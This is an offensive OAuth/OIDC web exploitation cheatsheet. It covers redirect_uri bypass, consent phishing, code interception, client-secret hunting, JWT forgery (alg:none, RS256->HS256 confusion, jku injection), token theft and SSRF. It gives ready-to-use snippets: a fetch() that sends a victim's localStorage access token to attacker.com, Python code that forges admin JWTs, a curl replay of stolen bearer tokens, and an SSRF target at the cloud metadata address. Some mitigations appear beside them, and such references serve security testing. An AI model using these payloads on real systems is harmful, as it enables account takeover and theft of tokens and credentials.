Web Exploitation Toolkit cheatsheet

Open Redirect via redirect_uri

If the AS validates redirect_uri only as a prefix match or accepts wildcards, an attacker can register a URL that begins with the allowed prefix but redirects to their controlled server. The AS sends the authorization code to the attacker's endpoint.

# Bypass: allowed = https://app.example.com
# Attack: redirect_uri=https://app.example.com.attacker.com/cb
# Or:     redirect_uri=https://app.example.com/legit/../../../attacker
# Strict fix: exact string match only, no trailing wildcards

Phishing / Consent Phishing

Attacker registers a malicious OAuth app on a legitimate platform (Azure AD, Google) with a convincing name ("IT Helpdesk", "O365 Update"). App requests broad scopes: Mail.ReadWrite, Files.ReadWrite.All, offline_access. User clicks "Accept" thinking it's legitimate. Attacker gets a refresh token with persistent access - no password needed, bypasses MFA entirely.

# Tool: TokenTactics, ROADtools
# Enumerate consented apps:
roadrecon gather --mfa
# Revoke via Azure portal: Enterprise Apps -> User settings -> Revoke

Authorization Code Interception

Three main vectors: (1) Referrer header leakage - if the callback page loads external resources, the full URL (including code=) is sent in the Referer header. (2) Open redirector on the client domain - the AS redirects to app.com/redirect?url=attacker.com. (3) Malicious redirect_uri via lax validation. The code is single-use but has a short window (typically 60-600s) - automated interception is practical.

# PKCE mitigation: even if code intercepted, attacker lacks code_verifier
# Without PKCE: code alone is enough to get tokens if client_secret known/absent

Client Secret Exposure

Client secrets are frequently leaked via: hardcoded in mobile apps (extractable with apktool/frida), checked into git repos (detectable with trufflehog/gitleaks), embedded in compiled JS bundles (grep the bundle), or visible in CI/CD logs. An attacker with the secret + a stolen code can exchange it for tokens without the client's involvement.

# Find secrets in JS bundles:
grep -r "client_secret\|clientSecret\|CLIENT_SECRET" dist/
# Trufflehog scan:
trufflehog git https://github.com/target/repo --only-verified

JWT Attacks on ID Token

alg:none - if the library accepts unsigned tokens, forge a JWT with "alg":"none" and strip the signature. RS256->HS256 confusion - if server uses public key as HMAC secret, sign with the public key and set alg to HS256. jwks_uri injection - if the jku/x5u header is not pinned, point to attacker-hosted JWKS.

# alg:none:
header = base64url('{"alg":"none","typ":"JWT"}')
payload = base64url('{"sub":"admin","email":"[email protected]"}')
token = header + '.' + payload + '.'

# HS256 confusion (python-jwt < 3.3.4, pyjwt < 2.4.0):
import jwt, requests
pubkey = requests.get('https://as.example.com/.well-known/jwks.json')...
forged = jwt.encode({"sub":"admin"}, pubkey_pem, algorithm="HS256")

Token Theft via XSS / MITM

Bearer tokens stored in localStorage or sessionStorage are accessible to any JS on the page - XSS instantly yields the token. Tokens in memory are safer but lost on refresh. Without HTTPS, MITM captures the Authorization header. Access tokens are not revocable at most RPs - a stolen token is valid until expiry.

# XSS token exfil:
fetch('https://attacker.com/?t='+localStorage.getItem('access_token'))
# MITM: SSLstrip or HTTP interception on non-HTTPS endpoint
# Replay stolen token:
curl -H "Authorization: Bearer STOLEN_TOKEN" https://api.target.com/user

SSRF via OAuth Metadata

If the resource server fetches jwks_uri, userinfo_endpoint, or issuer values from within the JWT header or from a token introspection response without validation, an attacker can point these to internal services. The server then makes requests to http://169.254.169.254/ (IMDS) or internal APIs on behalf of the RS.

# Forge JWT with attacker-controlled jku:
header = {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
# Server fetches attacker's JWKS, validates sig with attacker key -> accepted
# SSRF variant: jku = http://169.254.169.254/latest/meta-data/
# Detect: jwks_uri must be pinned in server config, not read from token